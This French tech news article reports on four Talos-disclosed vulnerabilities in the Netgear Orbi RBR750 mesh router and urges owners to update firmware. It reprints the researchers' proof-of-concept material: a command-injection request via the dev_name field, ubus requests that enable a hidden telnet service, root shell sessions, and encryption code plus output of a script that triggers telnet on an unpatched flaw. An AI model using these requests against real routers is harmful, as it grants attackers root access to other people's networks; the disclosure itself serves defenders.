Si vous comptez sur le système sans fil maillé Orbi de Netgear pour vous connecter à Internet, vous devez vous assurer qu’il exécute le dernier micrologiciel maintenant que le code d’exploitation a été publié pour les vulnérabilités critiques dans les anciennes versions.
Le système sans fil maillé Netgear Orbi comprend un routeur concentrateur principal et un ou plusieurs routeurs satellites qui étendent la portée du réseau. En configurant plusieurs points d’accès dans une maison ou un bureau, ils forment un système maillé qui garantit que la couverture Wi-Fi est disponible partout.
Injecter à distance des commandes arbitraires
L’année dernière, des chercheurs de l’équipe de sécurité Talos de Cisco ont découvert quatre vulnérabilités et les ont signalées en privé à Netgear. La plus grave des vulnérabilités, suivie comme CVE-2022-37337, réside dans la fonctionnalité de contrôle d’accès du RBR750. Les pirates peuvent l’exploiter pour exécuter des commandes à distance en envoyant des requêtes HTTP spécialement conçues à l’appareil. Le pirate doit d’abord se connecter à l’appareil, soit en connaissant le mot de passe SSID, soit en accédant à un SSID non protégé. La gravité de la faille est notée 9,1 sur 10 possibles.
En janvier, Netgear a publié des mises à jour du micrologiciel qui ont corrigé la vulnérabilité. Maintenant, Talos publié un code d’exploitation de preuve de concept ainsi que des détails techniques.
“La fonctionnalité de contrôle d’accès de l’Orbi RBR750 permet à un utilisateur d’ajouter explicitement des appareils (spécifiés par une adresse MAC et un nom d’hôte) pour autoriser ou bloquer l’appareil spécifié lorsqu’il tente d’accéder au réseau”, ont écrit les chercheurs de Talos. “Cependant, le paramètre dev_name est vulnérable à l’injection de commande.”
Le code d’exploitation publié est :
POST /access_control_add.cgi?id=e7bbf8edbf4393c063a616d78bd04dfac332ca652029be9095c4b5b77f6203c1 HTTP/1.1
Host: 10.0.0.1
Content-Length: 104
Authorization: Basic YWRtaW46UGFzc3cwcmQ=
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.61 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: yummy_magical_cookie=/; XSRF_TOKEN=2516336866
Connection: close
action=Apply&mac_addr=aabbccddeeaa&dev_name=test;ping${IFS}10.0.0.4&access_control_add_type=blocked_list
L’appareil répondra comme suit :
root@RBR750:/tmp# ps | grep ping
21763 root 1336 S ping 10.0.0.4
Deux autres vulnérabilités découvertes par Talos ont également reçu des correctifs en janvier. CVE-2022-36429 est également une faille d’exécution de commandes à distance qui peut être exploitée en envoyant une séquence de paquets malveillants qui créent un objet JSON spécialement conçu. Son indice de gravité est de 7,2.
L’exploit commence par utiliser la somme SHA256 du mot de passe avec le nom d’utilisateur « admin » pour renvoyer un cookie d’authentification requis pour démarrer une session telnet non documentée :
POST /ubus HTTP/1.1
Host: 10.0.0.4
Content-Length: 217
Accept: application/json
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.61 Safari/537.36
Content-Type: application/json
Origin:
Referer: /
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
{"method":"call","params":["00000000000000000000000000000000","session","login",{"username":"admin","password":"","timeout":900}],"jsonrpc":"2.0","id":3}
Le jeton ‘ubus_rpc_session’ nécessaire pour démarrer le service telnet caché apparaît alors :
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 829
Connection: close
Date: Mon, 11 Jul 2022 19:27:03 GMT
Server: lighttpd/1.4.45
{"jsonrpc":"2.0","id":3,"result":[0,{"ubus_rpc_session":"e6c28cc8358cb9182daa29e01782df67","timeout":900,"expires":899,"acls":{"access-group":{"netgear":["read","write"],"unauthenticated":["read"]},"ubus":{"netgear.get":["pot_details","satellite_status","connected_device","get_language"],"netgear.log":["ntgrlog_status","log_boot_status","telnet_status","packet_capture_status","firmware_version","hop_count","cpu_load","ntgrlog_start","ntgrlog_stop","log_boot_enable","log_boot_disable","telnet_enable","telnet_disable","packet_capture_start","packet_capture_stop"],"netgear.set":["set_language"],"netgear.upgrade":["upgrade_status","upgrade_version","upgrade_start"],"session":["access","destroy","get","login"],"system":["info"],"uci":["*"]},"webui-io":{"download":["read"],"upload":["write"]}},"data":{"username":"admin"}}]}
L’adversaire ajoute alors un paramètre appelé ‘telnet_enable’ pour démarrer le service telnet :
POST /ubus HTTP/1.1
Host: 10.0.0.4
Content-Length: 138
Accept: application/json
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.61 Safari/537.36
Content-Type: application/json
Origin:
Referer: /status.html
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
{"method":"call","params":["e6c28cc8358cb9182daa29e01782df67","netgear.log","telnet_enable","log_boot_enable",{}],"jsonrpc":"2.0","id":13}
Le même mot de passe utilisé pour générer le hash SHA256 avec le nom d’utilisateur ‘admin’ permettra alors à un attaquant de se connecter au service :
$ telnet 10.0.0.4
Trying 10.0.0.4...
Connected to 10.0.0.4.
Escape character is '^]'.
login: admin
Password: === IMPORTANT ============================
Use 'passwd' to set your login password
this will disable telnet and enable SSH
------------------------------------------
BusyBox v1.30.1 () built-in shell (ash)
MM NM MMMMMMM M M
$MMMMM MMMMM MMMMMMMMMMM MMM MMM
MMMMMMMM MM MMMMM. MMMMM:MMMMMM: MMMM MMMMM
MMMM= MMMMMM MMM MMMM MMMMM MMMM MMMMMM MMMM MMMMM'
MMMM= MMMMM MMMM MM MMMMM MMMM MMMM MMMMNMMMMM
MMMM= MMMM MMMMM MMMMM MMMM MMMM MMMMMMMM
MMMM= MMMM MMMMMM MMMMM MMMM MMMM MMMMMMMMM
MMMM= MMMM MMMMM, NMMMMMMMM MMMM MMMM MMMMMMMMMMM
MMMM= MMMM MMMMMM MMMMMMMM MMMM MMMM MMMM MMMMMM
MMMM= MMMM MM MMMM MMMM MMMM MMMM MMMM MMMM
MMMM$ ,MMMMM MMMMM MMMM MMM MMMM MMMMM MMMM MMMM
MMMMMMM: MMMMMMM M MMMMMMMMMMMM MMMMMMM MMMMMMM
MMMMMM MMMMN M MMMMMMMMM MMMM MMMM
MMMM M MMMMMMM M M
M
---------------------------------------------------------------
For those about to rock... (Chaos Calmer, rtm-4.6.8.5+r49254)
---------------------------------------------------------------
root@RBS750:/#
L’autre vulnérabilité corrigée est CVE-2022-38458, avec un indice de gravité de 6,5. Cela provient du fait que l’appareil invite les utilisateurs à entrer un mot de passe via une connexion HTTP, qui n’est pas cryptée. Un adversaire sur le même réseau peut alors renifler le mot de passe.
La vulnérabilité qui a refusé de mourir
Une quatrième vulnérabilité découverte par Talos, suivie comme CVE-2022-38452, n’a pas encore été patché. Talos a quand même publié des détails à ce sujet, conformément à la politique de divulgation des informations de vulnérabilité dans les 90 jours suivant leur signalement privé au fournisseur. La faille provient de la fonctionnalité Telnet cachée et permet aux adversaires d’exécuter des commandes à distance.
Les développeurs de Netgear ont précédemment introduit une mise à jour qui supprimait un interrupteur à bascule dans une page de débogage masquée qui pouvait être utilisée pour activer ou désactiver le service telnet. Le correctif, malheureusement, était incomplet.
“Bien que le commutateur de l’interface graphique ne fonctionnait plus / ait été supprimé, l’activation du service était toujours possible en envoyant un paquet de déclenchement spécialement conçu au port UDP 23 (Talos expliqué. Alors que les mises à jour récentes ont apparemment cassé cet outil (et les nombreux outils similaires), le service existe toujours et peut toujours être déclenché.
def crypt_64bit_up(self, x, y):
sbox = self.flattened_sBox
pArray = self.flattened_pArray
for i in range(0, 0x10):
z = pArray[i] ^ x
x = sbox[0x012 - 0x12 + ((z>>24)&0xff)];
x = sbox[0x112 - 0x12 + ((z>>16)&0xff)] + x;
x = sbox[0x212 - 0x12 + ((z>> 8)&0xff)] ^ x;
x = (sbox[0x312 - 0x12+ ((z>> 0)&0xff)] + x) & 0xFFFFFFFF;
x = y ^ x
y = z
x = x ^ pArray[-2]
y = y ^ pArray[-1]
return (x, y)
def crypt_64bit_down(self, x, y):
sbox = self.flattened_sBox
pArray = self.flattened_pArray
for i in range(0x11, 1, -1):
z = pArray[i] ^ x
x = sbox[0x012 - 0x12 + ((z>>24)&0xff)];
x = sbox[0x112 - 0x12 + ((z>>16)&0xff)] + x;
x = sbox[0x212 - 0x12 + ((z>> 8)&0xff)] ^ x;
x = (sbox[0x312 - 0x12+ ((z>> 0)&0xff)] + x) & 0xFFFFFFFF;
x = y ^ x
y = z
x = x ^ pArray[1]
y = y ^ pArray[0]
return (x, y)
Un adversaire qui possède le nom d’utilisateur, le mot de passe et l’adresse MAC de l’appareil vulnérable br-lan
l’interface peut continuer à démarrer telnet :
$ ./enable_telnet_poc.py
Plaintext payload:
00000000: 43 38 39 45 34 33 34 44 45 38 37 38 00 00 00 00 C89E434DE878....
00000010: 61 64 6D 69 6E 00 00 00 00 00 00 00 00 00 00 00 admin...........
00000020: 50 61 73 73 77 30 72 64 00 00 00 00 00 00 00 00 Passw0rd........
00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
Encrypted payload:
00000000: D0 9C 30 F6 7D 98 82 EE 8F 14 65 9F B9 03 3C 8D ..0.}.....e...<.
00000010: D0 56 6C C4 13 EB 29 43 84 4B BB F5 B1 B0 C5 32 .Vl...)C.K.....2
00000020: 63 CF 65 A2 BA 4F 87 8F 7C 82 89 28 32 95 7C 64 c.e..O..|..(2.|d
00000030: 53 20 20 62 E2 F9 4B 3D 7C 82 89 28 32 95 7C 64 S b..K=|..(2.|d
00000040: 7C 82 89 28 32 95 7C 64 7C 82 89 28 32 95 7C 64 |..(2.|d|..(2.|d
00000050: 7C 82 89 28 32 95 7C 64 7C 82 89 28 32 95 7C 64 |..(2.|d|..(2.|d
00000060: 7C 82 89 28 32 95 7C 64 7C 82 89 28 32 95 7C 64 |..(2.|d|..(2.|d
00000070: 7C 82 89 28 32 95 7C 64 7C 82 89 28 32 95 7C 64 |..(2.|d|..(2.|d
$ telnet 10.0.0.1
Trying 10.0.0.1...
Connected to 10.0.0.1.
Escape character is '^]'.
=== LOGIN ===============================
Please enter your account and password,
It's the same with DUT GUI
------------------------------------------
telnet account: admin
telnet password:
BusyBox v1.30.1 () built-in shell (ash)
.oooooo. .o8 o8o .o. ooooooo ooooo
d8P' `Y8b "888 `"' .888. `8888 d8'
888 888 oooo d8b 888oooo. oooo .8"888. Y888..8P
888 888 `888""8P d88' `88b `888 .8' `888. `8888'
888 888 888 888 888 888 .88ooo8888. .8PY888.
`88b d88' 888 888 888 888 .8' `888. d8' `888b
`Y8bood8P' d888b `Y8bod8P' o888o o88o o8888o o888o o88888o
---------------------------------------------------------------
For those about to rock... (Chaos Calmer, 10.0.3440.3644)
---------------------------------------------------------------
root@RBR750:/#
Comme indiqué précédemment, trois des quatre vulnérabilités ont été corrigées en janvier. Le modèle de routeur Orbi RBR750 Manuel de l’Utilisateur dire que les utilisateurs peuvent vérifier les mises à jour disponibles et les installer en mettant orbilogin.com, en entrant les informations d’identification administratives et en sélectionnant AVANCÉ> Administration> Mise à jour du micrologiciel> Mise à jour en ligne.
Bien que CVE-2022-38452 n’ait pas encore été corrigé, les trois autres failles ont été corrigées. Les utilisateurs de ces appareils doivent s’assurer qu’ils fonctionnent version du micrologiciel 4.6.14.3qui est la dernière version pour le moment.